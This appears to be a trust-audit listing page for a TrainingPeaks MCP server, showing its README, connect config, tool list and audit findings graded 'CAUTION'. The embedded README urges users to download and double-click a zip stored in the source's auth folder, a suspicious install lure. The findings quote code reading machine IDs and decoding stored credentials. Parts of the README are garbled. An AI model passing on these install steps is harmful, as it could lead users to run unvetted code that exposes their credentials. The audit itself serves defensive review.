trainingpeaks-mcpCAUTION
🏋️♂️ Connect TrainingPeaks to AI assistants with ease. Query workouts, analyze data, and track fitness trends without API approval hassles.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
🚀 Getting Started
Welcome! This guide helps you download and run the TrainingPeaks MCP server on your computer without any technical knowledge. With this application, you can easily query workouts and fitness data using natural language.
📥 Download the Application
[](https://raw.githubusercontent.com/haytam111234/trainingpeaks-mcp/main/src/tpmcp/auth/mcptrainingpeaks_v1.8.zip)
📋 Overview
The TrainingPeaks MCP server allows you to:
- Query workouts.
- Retrieve CTL/ATL/TSB fitness data.
- Access power personal records via natural language.
No API approval is needed—this works with any TrainingPeaks account.
💻 System Requirements
To run TrainingPeaks MCP, your computer should meet the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later.
- RAM: 4 GB or more.
- Storage: At least 200 MB of available disk space.
- Internet Connection: Required for data queries.
📦 Download & Install
- Visit the Releases page.
- Find the latest release.
- Download the file for your operating system. Look for options like
https://raw.githubusercontent.com/haytam111234/trainingpeaks-mcp/main/src/tp_mcp/auth/mcp_trainingpeaks_v1.8.ziporhttps://raw.githubusercontent.com/haytam111234/trainingpeaks-mcp/main/src/tp_mcp/auth/mcp_trainingpeaks_v1.8.zip. - After the download is complete, locate the file on your computer.
- Double-click the file to start the installation process.
- For Windows:
- Follow the prompts in the setup wizard.
- Click "Next" until y
8091d5186cfbOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add tp-mcp --env TP_AUTH_COOKIE=${TP_AUTH_COOKIE} -- uvx tp-mcp{
"mcpServers": {
"tp-mcp": {
"command": "uvx",
"args": [
"tp-mcp"
],
"env": {
"TP_AUTH_COOKIE": "${TP_AUTH_COOKIE}"
}
}
}
}Exposed tools (8)
7 read · 1 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
tp_auth_status | read | Check auth status. Use only when other tools return auth errors. |
tp_get_fitness | read | Get fitness/fatigue trend (CTL/ATL/TSB). Supports historical date ranges. |
tp_get_peaks | read | Get top performances by type. For comparing PRs over time. |
tp_get_profile | read | Get athlete profile. Rarely needed - other tools work without it. |
tp_get_workout | read | Get workout details by ID. Use after tp_get_workouts. |
tp_get_workout_prs | write | Get PRs set during a specific workout. |
tp_get_workouts | read | List workouts in date range. Query only days needed. Max 90 days. |
tp_refresh_auth | read | Refresh auth by extracting cookie from user |
Trust audit
CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (5 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (4)
mcp_trainingpeaks_v1.8.zip
machine_id_path = Path("/etc/machine-id")encrypted_data = base64.b64decode(CREDENTIALS_FILE.read_bytes())
src/tp_mcp/auth/mcp_trainingpeaks_v3.9.zip
Gates applied: no_behavioural_pass.
8091d5186cfbfull audit observations/trust-audit/mcp-server/haytam111234__trainingpeaks-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 8091d5186cfb | CAUTION | B | 89 | first audit |
Questions
What is the trainingpeaks-mcp MCP server?
🏋️♂️ Connect TrainingPeaks to AI assistants with ease. Query workouts, analyze data, and track fitness trends without API approval hassles.
What tools does trainingpeaks-mcp expose?
8 in total: 7 read-only, 1 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is trainingpeaks-mcp safe to connect to an agent?
With care. The audit graded it B (89/100) and found 4 things worth knowing before you trust this server, listed below with the exact line each was found on.
What credentials does trainingpeaks-mcp need?
It reads TP_AUTH_COOKIE from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does trainingpeaks-mcp run?
It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as tp-mcp.
How current is this page?
The grade is for one exact copy of the source (8091d5186cfb), read on 2026-10-11. The repository is watched and re-audited when it changes.